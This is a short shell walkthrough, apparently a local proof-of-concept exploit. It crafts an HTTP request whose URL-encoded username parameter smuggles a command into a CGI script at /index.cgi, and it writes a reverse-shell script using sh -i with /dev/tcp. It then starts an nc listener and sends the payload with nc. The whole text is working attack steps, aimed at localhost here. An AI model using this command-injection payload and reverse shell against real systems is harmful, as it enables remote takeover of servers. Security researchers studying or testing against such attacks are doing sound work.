# Prepare the HTTP request to send.
cat > payload.txt << EOF
GET /index.cgi?username=%22%3C%22%22%3BS%3D%2Ftmp%2Fpawned%3B%24%7BS%2C%2C%7D%3B%22 HTTP/1.0
EOF
# Create a script to execute a reverse shell.
# - Address: 127.0.0.1
# - Port: 4242
cat > /tmp/pawned.sh << EOF
sh -i >& /dev/tcp/127.0.0.1/4242 0>&1
EOF
# Start a listening server.
nc -ln 127.0.0.1 4242
From another shell, run the following.
nc -n 127.0.0.1 1616 < payload.txt